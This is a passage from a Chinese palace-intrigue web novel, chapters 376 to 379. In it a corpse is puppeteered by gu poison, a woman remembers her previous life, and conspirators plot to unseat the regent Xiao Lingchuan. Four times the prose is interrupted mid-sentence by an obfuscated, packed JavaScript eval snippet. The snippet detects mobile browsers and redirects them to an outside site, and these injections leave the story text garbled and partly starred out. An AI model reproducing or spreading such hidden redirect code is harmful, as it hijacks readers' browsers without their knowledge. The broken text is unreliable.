凌芜顿时心领神会:“是,王爷。属下定不辱命!” 一旁的凌风心中暗自腹诽:王爷,您不是说,不想用卑劣的手段吗? 用苦肉计陷害宁王,不也挺卑劣的吗? 目送凌芜和凌风的身影消失在殿外,萧凌川缓缓走到窗边,推开了那扇雕花木窗。 冷风灌入,吹得他墨发翻飞。 没想到,向来行事磊落、以谦谦公子自居的萧怀瑾,竟也会用上这种强掳豪夺的手段。 是因为被逼到绝境,所以连伪装都懒得维持了吗? 这是不是意味着,在争夺姜姝宁一事上,萧怀瑾已然察觉到自己的胜算渺茫,彻底乱了阵脚? 毕竟,兔子急了尚且咬人,更何况是被逼至绝境的萧怀瑾,怎会不亮出獠牙,孤注一掷一回? 萧凌川的唇角缓缓上扬,勾出一抹笑意。 正如凌芜所说,这对他而言,反倒是一桩好事。 —— 此时,藏身于相府西院的姜天泽,宛如一条蛰伏暗处、伺机而动的毒蛇,静静等待姜丞相将那份精心捏造的“谋逆通敌”罪证呈给皇上,将萧凌川彻底置于死地。 然而,他等来的却不是捷报。 “砰——” 柴房那扇破旧的木门被一脚踹开,木屑纷飞。 刺眼的日光争先恐后涌入,勾勒出一道道身披甲胄、手持利刃的森冷身影。 为首之人,一袭玄色锦袍,面容俊美如神祇,眼神却冷得像淬了冰的刀。 是萧凌川。 他怎么来了? 姜天泽的脑子嗡地一声,一片空白。 他的目光越过那些杀气腾腾的府兵,死死钉在了人群后方一个熟悉的身影——他的大伯姜丞相身上。 只见姜丞相负手而立,目光正好在空中与他的交汇,阴沉得仿佛能滴出水来。 一丝狠戾攀上姜天泽的眼角。 他不动声色地催动藏于体内的母蛊。 很快,一阵凌乱的脚步声由远及近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461562|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个面容美艳的妇人跌跌撞撞地跑了过来,发髻散乱,脸上带着泪痕,正是花莲。 她像是没看见满院的兵戈,径直朝着姜丞相扑去,嗓音凄厉地哭喊:“老爷!您不是答应我,要揭发景王**通敌的罪行吗?” 萧凌川看到她时,眼底掠过一丝诧异。 难怪当初翻遍了整个南朔都找不到花莲,原来她一直都被姜天泽藏在相府里。 姜丞相面无表情,视线却如鹰隼般锐利,直直落在花莲的脚上。 她跑得太急,一只绣鞋在奔跑中脱落,滚到了一旁。 阳光下,那只裸露在外的脚,露出一截森森白骨,上面还残留着些许干枯的皮肉,骇人至极。 有胆小的府兵当场叫出了声,其他人也纷纷后退一步,满脸惊恐地看着这诡异的一幕。 姜天泽的心彻底沉了下去。 他之前为了让花莲这具傀儡看起来像活人,费尽心思调制的药膏,只来得及涂抹她的脸和手,哪里会顾及到一双藏在鞋里的脚? 事已至此,再无遮掩的必要。 姜天泽反而笑了起来,笑声里满是自嘲与怨毒:“原来如此,大伯您早就看出来了。我还真是小瞧了您,不愧是大邺的丞相,演得真像,我差点都信了您会为我所用!” 姜丞相目光冷厉:“天泽,老夫本念在你我伯侄一场,向景王殿下求情,留你一条性命。谁知你竟丧心病狂,用此等邪门歪道,操控老夫亡妾的尸身欺骗老夫,妄图借老夫之手构陷王爷!” “你的所作所为实在让老夫心寒!既然你这般不可救药,那便将你……交给景王殿下处置吧!” 就在此刻,一道女声毫无预兆地响起。 “姨娘!” 只见姜瑶真和姜夫人正从门外冲进来。 今日姜瑶真碰巧回相府,刚到府中便听闻西院出了大事。 出于好奇,她赶来看热闹,却一眼就看到了人群中那个让她朝思暮想的身影。 她的姨娘没死! 活生生地站在那里! 她所有的注意力都被这巨大的惊喜占据,根本没留意到周围诡异的气氛和姨娘脚下的异样。 “姨娘!”姜瑶真喜极而泣,提着裙摆就朝这边奔来。 看着姜瑶真那张满怀希望的脸,姜天泽的眼底深处,猛地掠过一丝阴狠到极致的毒光。 他输了,但他也绝不会让别人好过! 心念电转,他猛地催动了蛊虫。 只见原本呆立的花莲,身体猛地一僵,随即像一只被线操控的木偶,毫无征兆地转身,朝着身旁一名持剑的府兵直直扑了过去! 那府兵大惊失色,完全是下意识地举剑自(卫)。 “噗嗤——” 利剑入肉的声音沉闷而清晰。 长剑,毫不留情地刺穿了花莲的腹部。 时间仿佛在这一刻凝固。 “不——” 一声撕心裂肺的惨叫划破了丞相府的上空。 姜瑶真脸上的狂喜瞬间冻结,随即碎裂成无尽的惊恐与绝望。 她眼睁睁看着那把剑没入自己姨娘的身体,大脑一片空白,疯了一般,不顾一切地冲了过去—— 第376章 她想起前世种种! 第三百七十六章她想起前世种种! 姜丞相眼疾手快地拦住了她。 “真儿,你看清楚!那根本不是你姨娘!你姨娘早就**!这不过是一具被邪术操控的傀儡罢了!” 姜瑶真哪里听不进去? 她拼命挣扎,指甲在父亲的手臂上划出血痕,整个人状若癫狂。 “不!不是的!爹你骗我!姨娘没有死!她怎么会死呢!这些年她一直陪着我,教我骑马,教我跳舞,还给我讲南月的故事!” “姨娘是为了你才离开的,她怕连累你,连累到咱们姜家……爹,你快让府医来,你救救她,好不好?爹!” 花莲的尸身在阳光下显得格外可怖。 腹部的剑伤处,流出的不是鲜血,而是一种混杂着腐肉的黑褐色黏液,散发着一股令人作呕的恶臭。 随着她倒下,脸上那层精心伪装的皮肉也开始剥落,露出底下青黑色的尸斑。 那已经不是一张脸,而是一团模糊的腐烂物。 姜丞相看着那具残破的尸体,眼底闪过一丝复杂难辨的情绪,最后只剩下彻骨的冰冷。 他决绝地摇了摇头。 父亲的冷漠,姨娘的“惨死”,交织成一张密不透风的网,将姜瑶真所有的希望和理智都绞得粉碎。 她发出一声不似人声的凄厉长号,双眼一翻,身体软软地倒了下去。 丞相府彻底乱成了一锅粥。 就连那些见惯了生死的府兵,此刻看着院中那具诡异的尸体和这混乱的场面,脸上也都写满了不安。 一片嘈杂中,唯有一道笑声突兀地响起,清晰刺耳。 是姜天泽。 他站在那里,看着昏死过去的姜瑶真,看着那具被他亲手操控着送上剑刃的傀儡,放声大笑。 他终于报复了姜瑶真,报复了这个曾经伙同她姨娘,祸害算计姜姝宁的蛇蝎女子。 他让她亲眼看着自己最珍视的“姨娘”如何变成一具腐烂的尸块,让她也尝尝希望彻底破灭的滋味。 总算是,为他的阿宁出了口恶气。 哪怕自己也已是瓮中之鳖,可看到仇人崩溃的模样,他便觉得,值了。 萧凌川冷眼看着这一切,没有半分动容。 他一挥手,几个府兵便立刻上前,将还在狂笑的姜天泽死死摁住,用锁链捆了个结实。 景王府的地牢里,阴暗潮湿,空气里弥漫着铁锈和霉腐的气味。 姜天泽被铁链锁在墙上,乱发遮住了半张脸,神情却不见丝毫颓败,反而透着一股狼一样的凶狠。 沉重的铁门被打开,一束光照了进来。 萧凌川身着玄色常服,缓步走入,身后跟着两名亲卫。 他停在牢房外,目光平静地落在姜天泽身上。 “本王没想到,你为了扳倒本王,竟会放弃逃走的机会,布下这么大一盘棋。”萧凌川的声音在地牢里显得格外清晰,“你的这份心智,若用在安邦定国上,未尝不能成为一代明君。用在这些歪门邪道上,你不觉得可惜吗?” 姜天泽扯了扯嘴角,发出一声满是嘲讽的冷笑:“萧凌川,我技不如人,栽在你手上,我认了。要杀要剐,悉听尊便。少在这儿跟我说教,还真把自己当我兄长了?” 他抬起头,眼神阴冷如毒蛇,“萧凌川,你抢走阿宁,我这辈子都会与你为敌!不死不休!” “本王只是不明白,”萧凌川的语气没有丝毫波澜,仿佛在陈述一件无关紧要的事,“你既然如此介意本王‘抢走’姝宁,又为何要与萧怀瑾联手?萧怀瑾是靠一包**,从衙门地牢里逃走的。那包药,是你给他的吧?” “是又如何?”姜天泽毫不避讳,“我跟他联手,就是为了对付你!只要你不在了,阿宁自然会回到我身边!” 萧凌川闻言,脸上终于浮起一丝清晰的、毫不掩饰的嘲讽。 那神情,仿佛在看一个自作聪明的跳梁小丑。 “你如此自信,倒也不是坏事。”他慢悠悠地说着,神色晦暗,“不过,本王得告诉你一件事。萧怀瑾,他不仅从衙门逃了出去,他还顺道……带走了姝宁和小邺君。” 他顿了顿,欣赏着姜天泽脸上逐渐僵硬的表情,才慢条斯理地补上最后一刀。 “难道,这也是你们事先说好的?” “……什么?” 姜天泽脸上的血色,在瞬间褪得一干二净。 他的脸不受控制地抽搐起来,瞳孔猛地收缩。 “他竟然……可恶!他怎么敢!” 这一刻,滔天的悔意如决堤的洪水,瞬间将他吞没。 他后悔答应和萧怀瑾那个**子联手! 后悔鬼迷心窍,给了他那包能放倒整个衙门官兵的**! 是他亲手给了萧怀瑾一个带走姜姝宁的机会! 萧凌川看着他这幅癫狂又追悔莫及的模样,唇角微勾,起身离开。 身旁侍卫低头紧跟,压低嗓子问:“王爷,要不要给姜三公子上刑?” “免了。”萧凌川声音如寒霜刺骨,吐字冷酷,“他早就在受刑。” 后悔这东西,比刀剑还狠,能活活剜人心。 此时的姜天泽,已经在地狱里了。 —— 绮丽院。 雕花木床上,姜瑶真猛地睁开双眼,胸口剧烈起伏,大口大口地喘着粗气,仿佛刚从一场溺水的噩梦中挣脱。 她双目空洞,死死盯着头顶那绣着繁复芙蓉花的帐顶,一动不动,好像一尊失了魂魄的木雕。 “吱呀——” 房门被推开,姜夫人端着一碗汤药走了进来。 虽说姜瑶真并非她亲生,但多年亲手抚养,终究有些感情。 “真儿,醒了就好。”她将汤碗放在床头的小几上,关切道,“来,喝点安神汤,压压惊。那血腥场面,是吓坏了。” 姜瑶真毫无反应,眼神依旧直勾勾的,没有半点焦距。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461563|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜夫人叹了口气,伸手探了探她的额头,触手一片冰凉。 “你姨娘的事……哎,你也别太伤心了。人死不能复生,你且好生养着身子。” 她絮絮叨叨又说了几句,见姜瑶真始终不言不语,只得无奈地起身。 “汤药记得趁热喝了,晚些时候我再来看你。” 脚步声远去,房门再次合上,屋内重归寂静。 就在门扉闭合的那一瞬间,姜瑶真的眼睛这才猛地转动了一下。 一道怨毒至极、又夹杂着无尽恐惧的幽光,从那空洞的眼底深处迸发出来。 她想起来了。 全都想起来了! 前世的种种,犹如决堤的洪水,挟裹着刺骨的冰冷与血腥,瞬间冲垮了她今生所有的认知! 她的姨娘花莲,本是南月皇室安插在大邺的棋子。 她们的目标,是扶持一个傀儡,从内部分化大邺,最终助南月将其吞并。 她们选中了萧凌川,那个看似被皇室厌弃、无权无势的景王。 为了让他为她们所用,她们甚至编造了他身负南月皇族血脉的谎言。 萧凌川也确实“上钩”了。 他对她言听计从,甚至表现出非她不娶的深情。 实际上,他不过是把她们当成棋子,通过虚与委蛇的方式,一步步套取南月的机密,为他自己铺就一条通往至高无上权力的血路! 起初,她对此一无所知,还自以为他已拜倒在她的石榴裙下,甘心为她所用。 直到她无意间发现,萧凌川看向嫡姐姜姝宁时,那藏都藏不住的、犹如暗夜烈火般的占有欲。 嫉妒的毒蛇啃噬着她的心。 凭什么? 论相貌性格,姜姝宁哪点比得上她? 凭什么能得到萧凌川的青睐? 于是,她将萧凌川为姜姝宁准备的避子药,换成了一种无色无味、难被察觉的**。 她看着姜姝宁的身体一日日衰败,看着她最终香消玉殒,心中畅快淋漓。 她以为,除掉了眼中钉,萧凌川就会是她的了。 没想到,姜姝宁死后,萧凌川彻底疯了。 他用雷霆手段登上了皇位,然后调转兵锋,以摧枯拉朽之势踏平了南月! 他侵占南月的动机令人费解,竟并非出于一己野心,而是为了探寻祁月山那隐秘莫测的惊天之谜。 她和姨娘最后被萧凌川打入天牢,以欺君之罪,遭受万蚁噬心、凌迟处死的极刑。 临死前那撕心裂肺的剧痛,仿佛跨越了生死,再次在她四肢百骸蔓延开来。 姜瑶真浑身剧烈地颤抖起来,牙齿咯咯作响,恐惧从尾椎骨直冲天灵盖。 萧凌川! 他是个彻头彻尾的疯子!是个披着人皮的恶鬼! 今生,她不能再像前世那样,坐以待毙,最后落得个惨死的下场! 既然退无可退,那便……先下手为强! 第377章 彻底扳倒萧凌川的法子 第三百七十七章彻底扳倒萧凌川的法子 姜瑶真回忆起今生的种种,越思量越觉得诡异。 今生的萧凌川,不再和前世那般与她们母女虚与委蛇,他不仅一眼看穿她们的弥天大谎,更是直接喂她们吃**,将她们母女的性命牢牢攥于掌心。 难道,他也记起前世的事? 恐惧如潮水涌来,她猛然坐起,决定马上回国公府。 母亲不是她的生母,不会真心心疼她,父亲姜丞相如今又是景王萧凌川的拥泵,更不可能帮她。 国公府有对她百依百顺的夫君,还有一对利欲熏心、早已和萧凌川结下死仇的公婆。 他们,才是眼下她唯一能利用的棋子! 姜瑶真不顾府中婢女的阻拦,甚至没和姜夫人与姜丞相打一声招呼,便离开相府,上了回国公府的马车。 马车一路疾驰,在国公府门前堪堪停稳。 姜瑶真跌跌撞撞地冲进府门,正好撞见她的夫君——小公爷魏子程。 “你不是回相府省亲了吗?怎么……弄成这副模样?”他快步上前,想扶住她,眼神里满是担忧。 姜瑶真一把抓住他的手臂,声音急切:“夫君!我有重要的事情要与父亲母亲商议,你快带我去见他们!” 魏子程被她的模样骇住,下意识地想要退缩:“可……可母亲一早就去宝光寺礼佛了,父亲……父亲最近身子不爽利,闭门谢客,怕是不会见你的。” 又是这套说辞! 姜瑶真心中冷笑。 萧凌川一回京,她这对公婆就当起了缩头乌龟,一个礼佛,一个抱病,妄图用这种方式躲过萧凌川的清算。 天真! 他们根本不懂,萧凌川此人睚眦必报,一旦被他盯上,若不能将他彻底置于死地,等待他们的,便只有永无宁日的恐惧。 她盯着魏子程那双总是带着几分怯懦的眼睛,一字一句道:“夫君,如今景王回来了。你若不想魏国公府有朝一日家破人亡,毁在他手里,现在,立刻,就带我去见他们!” “景王”二字像一记重锤,狠狠砸在魏子程心上。 他从小就对姜瑶真这个明艳强势的青梅言听计从,几乎没有反抗的能力,此刻被她这般夹枪带棒地一吓,脸色瞬间白了。 他咽了口唾沫,再不敢多言,只能牵着她的手,脚步匆匆地往魏国公的院子走去。 书房内,檀香袅袅。 长公主正端着一盏燕窝,慢条斯理地喂给靠在软榻上的魏国公。 听闻下人通报说姜瑶真硬闯进来时,她手一抖,汤匙“当啷”一声掉在玉盘里,发出刺耳的声响。 “让她滚!”长公主脸上满是怒气。 话音未落,姜瑶真已经由魏子程领着闯了进来。 长公主一看到这个儿媳妇,心里的火气就“蹭”地冒了上来。 她一直就瞧不上姜瑶真,容貌太过张扬,带着一股子狐(媚)气,把她的宝贝儿子迷得神魂颠倒。 更可气的是,明明是个嫁过一次的二嫁女,却半点没有为人媳的自觉,对她这个婆母也从不恭敬。 “姜瑶真!”长公主将玉盘重重往旁边一搁,眼眸圆睁,“当初若不是你花言巧语,撺掇我们和瑞王合作,去跟景王那个煞星作对,如今我们国公府何至于落到如此窝囊的地步! 现在好了,瑞王**,景王回京成了摄政王,整个朝堂都看他的脸色行事!你说,你让我们国公府以后如何自处?!” 劈头盖脸一顿臭骂,要是换做平时,姜瑶真或许还会忍让一二。 但此刻,死过一次的她,心中只剩下一片冰冷的恨意和疯狂。 她非但没有畏缩,反而扬起下巴,唇边勾起一抹讥讽的弧度。 “母亲这话说的可真有意思。”她冷冷地回敬道,“当初若不是父亲母亲也想扳倒景王,好从新君那分一杯羹,儿媳就是磨破了嘴皮子,你们也未必会答应。 怎么,这会儿眼看要输了,就把所有错都推到我一个身上了?胜败乃兵家常事,这还没怎么样呢,就先怪起自己人来了?” “你……你这个不知廉耻的……”长公主气得浑身发抖,指着姜瑶真说不出话来。 “好了!都别吵了!”一直默不作声的魏国公终于开口了。 他脸色蜡黄,中气不足,但眼神依旧锐利,“瑶真,你火急火燎地非要见我们,到底是为了什么事?” 姜瑶真这才收敛了脸上的讥诮,转向主位上的魏国公,神色瞬间变得凝重无比。 她压低了声音,一字一句,仿佛投下了一颗惊天巨雷。 “父亲,儿媳有一个法子,能彻底扳倒景王萧凌川!” 魏国公浑浊的眼中闪过一丝精光:“说来听听!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464827|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “其实,”姜瑶真缓缓道,声音里带着一种诡异的笃定,“景王萧凌川,他根本就不是先帝的亲生骨肉。” “什么?!”长公主失声惊呼。 魏国公也猛地从软榻上坐直了身子,死死盯着她:“此话当真?!” “千真万确!他是当年那位南月和亲公主,和如今南月首辅赵谦私通生下的孩子!”姜瑶真的声音阴沉得能滴出水来,“他身上流淌的,根本不是大邺皇室的血脉,他凭什么当大邺的王爷?更别提权倾朝野的摄政王了!” 魏国公的呼吸陡然急促起来,但多年的老谋深算让他强行冷静下来,他眯起眼睛:“你这么说,可有证据?” “南月公主当年和南月首辅赵谦早有婚约,这是整个南月人尽皆知的过往。”姜瑶真眼神阴狠,“而且不久前,景王还特地将那赵谦请来大邺,若非父子情深,何至于此?” 魏国公皱起了眉头,摇了摇头:“不对。我才得到消息,那景王非但没有礼遇赵谦,反而将他关进了王府地牢,日夜折磨。这……可不像是对待亲生父亲的方式。” 听到这话,姜瑶真非但没有因为自己说的弥天大谎而慌乱,反而露出笃定尖锐的冷笑。 “父亲,这您就不懂了。他这哪里是折磨?他这是急了,想**灭口,把他身上流着南月血脉的这个惊天秘密,彻底埋藏起来! 若父亲信得过儿媳,儿媳可以想办法,帮你们拿到景王是南月血脉的铁证!” “当真?!”魏国公激动得一把抓住了榻边的扶手,指节都泛了白,“此事……你当真能办到?” 姜瑶真神色笃定:“自然,父亲,此事就包在儿媳身上!” 魏国公的心脏狂跳起来。 如今的局面,皇帝萧政贤羽翼未丰,对手握重兵、权势滔天的摄政王萧凌川早已是忌惮到了极点,君臣关系空前紧张。 他们魏国公府,早就因为和瑞王联手,把萧凌川得罪**,想修复关系,绝无可能。 与其坐以待毙,等着萧凌川秋后算账,不如……放手一搏! 若能借此事,帮助皇帝一举扳倒萧凌川这个心腹大患,那便是泼天的从龙之功! 这份功劳,足以保他们魏国公一脉,在大邺再享百年荣华富贵! 想到此处,他脸上浮现一抹意味深长的笑意:“瑶真,国公府上下可都盼着你的好消息!” 第378章 关键的棋子神志不清 第三百七十八章关键的棋子神志不清 从魏国公府出来,夜色已深,冷风裹挟着寒意,刮得人脸颊生疼。 姜瑶真拢了拢身上的狐裘,眸色却比这寒夜更冷。 她没有回府,而是让马车七拐八绕,最终停在了城西一处偏僻的巷口。 接着,她独自下车,熟门熟路地走进了一家毫不起眼的饭馆。 饭馆早已打烊,只有一个伙计在打着哈欠收拾桌椅。 见到她,伙计的眼神瞬间变得锐利,躬身做了个“请”的手势,引着她穿过堂屋,进入了后院一间幽暗的厢房。 房内只点了一盏孤灯,光线昏黄,一个身着黑衣的男人正背对着门口,擦拭着手中的长刀。 刀身狭长,映着灯火,流转着森然的寒光。 听到脚步声,男人并未回头,声音冷得像他手中的刀刃:“三皇子妃……哦不,如今应该称你为魏夫人。在下记得曾跟你说过,从此不再与你合作,你难道忘了吗?” 此人正是夜影阁的当家,寒影。 姜瑶真毫不在意他语气中的讥讽和疏离,径直走到桌边坐下,给自己倒了杯早已凉透的茶水。 “寒影,你不愿和我合作,是因为当初在画舫上,我隐瞒了萧凌川也在场的事实,导致他为了护住姜姝宁被刺伤。他是南月世子,身份尊贵,而我不过是一个细作的女儿,你们夜影阁觉得,为了我这么个小人物,得罪了未来的主子,不划算,对吗?” 寒影终于缓缓转过身来。 “既然魏夫人心里跟明镜似的,又何必再来登门?” 姜瑶真端起茶杯,脸上浮起一丝嘲讽的笑意。 “那若,我要你们救的,便是你们的主子、南月首辅呢?” 寒影的瞳孔猛地一缩,握着刀的手背青筋凸起,神色骤变:“赵大人出什么事了?” “他被你们最看重的南月世子萧凌川抓走了,如今被困在景王府的地牢里,日日遭受折磨。”姜瑶真放下茶杯,“你们再不去救他,他怕是就没命了!” “怎么可能?!”寒影失声脱口而出,脸上满是不可置信,“世子……世子他怎么会……难道**,他和赵大人血脉相连吗?” 姜瑶真唇角的笑意愈发深了。 很好,这世上多一个误以为萧凌川是赵谦骨肉的人,她扳倒萧凌川的胜算就多一分。 “你太不了解景王了。”她轻蔑地哼了一声,“他如今可是大邺权倾朝野的摄政王,一人之下,万人之上。他怎么可能容忍自己并非大邺皇室血脉的真相大白于天下?最好的法子,当然是将当年知道真相的人,全部杀了!” 每一个字,都像是重锤,狠狠砸在寒影的心上。 姜瑶真说的话让他无法反驳。 以萧凌川如今的地位,隐瞒身世,是他必然的选择。 “赵大人可是他的亲生父亲!”寒影咬牙切齿,胸口剧烈起伏,眼中的震惊和不解,最终化为了滔天的愤慨,“如此歹毒的南月世子,在下不尽忠也罢!魏夫人请放心,无论如何,在下定会将赵大人救出来!” “如此甚好!”姜瑶真站起身,眼中闪过一丝阴冷的快意。 鱼儿,上钩了。 夜影阁的效率果然没有让姜瑶真失望。 子时刚过,几道黑影如鬼魅般掠过景王府的高墙,悄无声息地潜入了守卫森严的王府深处。 寒影领着几个心腹,身法利落如猫,几柄淬毒的短刃无声划破夜空,地牢看守的侍卫连哼都来不及哼一声,便软软倒地。 地牢厚重的铁门被撬开,一股浓郁的腥臭味扑面而来,熏得人几欲作呕。 他们在最深处的牢房里找到了赵谦。 昔日里意气风发的南月首辅,此刻蜷缩在肮脏的稻草堆里,浑身衣衫褴褛,布满了暗红色的血迹和黏腻的液体。 他四肢被粗大的铁链锁着,身上、脸上,凡是裸露在外的皮肤,都布满了密密麻麻、深浅不一的咬痕,有些地方甚至皮开肉绽,能看到森森白骨。 整个人气息奄奄,只剩下一口气吊着。 “大人!”一名夜影阁的**忍不住低呼出声。 寒影的脸色阴沉得能滴出水来。 他快步上前,探了探赵谦的鼻息,虽然微弱,但还活着。 他立刻挥手,示意手下撬开锁链。 他们临走时,经过旁边一间牢房,寒影的眼角余光瞥见里面似乎也关着一个人。 那人倚着墙壁,虽然同样衣衫狼狈,但身形挺拔,一双眼睛在黑暗中亮得惊人,正冷冷地看着他们。 那少年的眉眼,竟与萧凌川有几分说不出的相似。 寒影心中一凛,杀机顿起。 多一事不如少一事,今夜之事,绝不能有任何活口。 就在他准备动手灭口时,那少年却先开了口,声音清冷,带着一丝与年龄不符的沉稳:“你们是夜影阁的?” 寒影一脸警惕,握紧了刀柄:“你如何知晓?” 少年抬起下巴,指了指他们手中的刀:“只有夜影阁的人,会用这种刀身上刻着南月祥瑞花纹的刀。” 好敏锐的观察力。 寒影走近他,隔着铁栏,杀意更甚。 少年仿佛没有察觉到他的杀气,只是冷声道:“夜影阁不是宣称会帮扶一切流落大邺的南月人吗?我是南月太子,姜天泽。现在,我需要从这里出去。” 南月太子?! 寒影浑身一震,仔细打量着眼前的少年。 他这才发现,少年的轮廓,确实与南月先帝花连城有几分相似。 而花连城,正是萧凌川的亲舅舅。 他们是表兄弟,眉眼间有些相似,倒也说得过去。 电光火石之间,寒影已经做出了决断。 他没有丝毫犹豫,反手一刀,只听“哐当”一声巨响,碗口粗的铁锁应声而断。 多救一个南月皇室血脉,总没有坏处。 重获自由的姜天泽,唇边勾起一抹诡谲的笑意。 他看似随众人离开地牢,可刚一踏出景王府,便身形一转,毫不犹豫地拐入了另一条截然相反的巷道。 等到幸存的侍卫连滚爬爬地跑到萧凌川的书房报告地牢遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464828|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到夜袭时,从地牢里离开的人早就消失在了茫茫夜色之中。 侍卫跪在地上,浑身抖如筛糠,一脸担心:“王爷,那帮人来路不明,小人看他们带走那南月首辅似乎另有目的……若被他们的奸计得逞了,可如何是好?” 书案后,萧凌川神色波澜不惊,闻言连眼皮都没抬一下。 “无妨。”他淡淡开口,“本王知道他们想做什么。不过,他们怕是没那么轻易达到目的了。” 夜影阁将赵谦救回隐秘的据点后,才发现情况比想象中更糟。 他身上布满了被毒蛇毒虫反复啃噬留下的痕迹。 这些虫蛇的毒性并不致命,却能让人日日夜夜忍受万蚁噬心般的痛苦,直至精神崩溃。 寒影看着赵谦那张血肉模糊的脸,心中一阵发寒。 萧凌川若是真想**灭口,有一万种更干净利落的方法,何必用这种阴毒的手段折磨? 这哪里是**灭口,这分明是泄愤,是报复。 可他究竟在报复什么? 他们刚把赵谦安顿好,姜瑶真便上了门。 一踏进房间,闻到那股浓重的血腥和药草混合的气味,她心里就咯噔一下。 当看到躺在床上,浑身缠满绷带,人事不省的赵谦时,她的心更是沉到了谷底。 扳倒萧凌川这么关键的人物竟是这幅惨状,这可如何是好? 她立刻请来了京城最好的大夫为赵谦医治。 大夫仔细诊治过后,面露难色。 “夫人,这位病人身上的外伤虽重,但只要好生调养,总有愈合的一天。只是……他似乎受了极大的刺激和惊吓,心神已损,神志不清。这心病,比身病更难医。老夫只能开些安神的方子,至于他何时能恢复神志,还能不能恢复,就只能看天意了。” 姜瑶真的指甲深深掐进了掌心,几乎要将皮肉刺破。 她牙都快咬碎了。 若赵谦就此疯疯癫癫,成了个废人,他还如何在皇帝和文武百官面前,指认萧凌川就是他的骨肉? 就算他能含糊不清地指认,一个疯子的话,又有谁会信服? 她费尽心机布下的局,岂不是功亏一篑?! 不行,绝对不行! 必须让他清醒过来,哪怕只清醒片刻,只要能当众说出那句话,就够了! 电光火石间,一个念头闪过她的脑海——南月毒师。 她用毒出神入化,既能**于无形,亦能起死回生。 若有她帮忙,赵谦说不定能恢复神志,为自己所用! 姜瑶真转向寒影,急切地问:“你可知南月毒师的下落?” 寒影摇了摇头:“毒师行踪诡秘,我们的人之前只打探到她曾在南朔一带出现过。但她极其擅长伪装,就算我们派人去了南朔,也很难找到她。” “找不到,就逼她自己出来。”姜瑶真的声音里没有一丝温度,仿佛结了冰,“你即刻把消息放出去,就说她的儿子,南月太子姜天泽,如今落在了摄政王萧凌川的手中,性命垂危。想来,用不了多久,她自己便会主动送上门来!” 第379章 温润面具下的偏执与疯狂 第三百七十九章温润面具下的偏执与疯狂 朔风如刀,卷起漫天雪粉,狠狠刮在人的脸上。 就在这大邺与北陵交界的苍茫雪原之上,几匹快马如离弦之箭,踏着碎雪狂奔而来。 为首的两人,正是凌芜和凌风。 他们的视线死死锁定前方那辆在风雪中艰难前行的马车。 “王妃!”凌芜的声音被寒风撕扯得有些变形,却依旧嘹亮,“我们来救你了!” 马车车帘被风吹开一角,姜姝宁正紧紧抱着怀中的小邺君,当看到那张熟悉的脸时,她的心脏骤然一缩。 凌芜来了,是萧凌川派她来的。 这些时日,前世今生那些被遗忘的记忆被一点点想起。 萧凌川担心她的安危,将会武功的凌芜安插在她身边,可她却误以为他心怀叵测,甚至连她身边的人都要掌控。 现在回想起来,若不是凌芜一路护着,她未必能躲得过那么多算计。 萧凌川说得对,她总是能将他的真心解读为掌控欲。 她刚回过神来,便看到数道身影从马车旁策马而出,横在了凌芜和凌风面前。 阿齐握紧了手中的长刀,刀锋在灰白的天光下泛着冷冽的寒芒。 他心里清楚,单论武功,他们加起来也不是凌芜和凌风对手。 可那又如何? 只要翻过这座雪山,进入北陵的国境,就再也没有人能将殿下和姜姑娘分开了。 今日无论如何,哪怕豁出性命,他们也要铺就这条通往安宁的最后一段路。 阿齐猛地回头,对着马车里的萧怀瑾嘶声喊道:“殿下,我们拖住他们!你们快走!等过了雪山,就再也没人能将你们分开了!” 萧怀瑾探出头,那张向来温润的脸庞在风雪中显得异常苍白,却带着一种决绝的坚定。 “好!阿齐,他们俩武功极高,你们务必小心!” 话音未落,他便厉声对马夫喝道:“启程!快!” 马夫不敢有半点迟疑,狠狠一扬马鞭,马匹嘶鸣一声,拉着车厢在雪地里疯狂地颠簸起来。 “想走?没那么容易!”凌风与凌芜交换一个眼神,两人同时朝马车猛冲过去。转瞬之间,阿齐和几名侍卫便闪身拦住,剑拔**张的氛围一触即发。 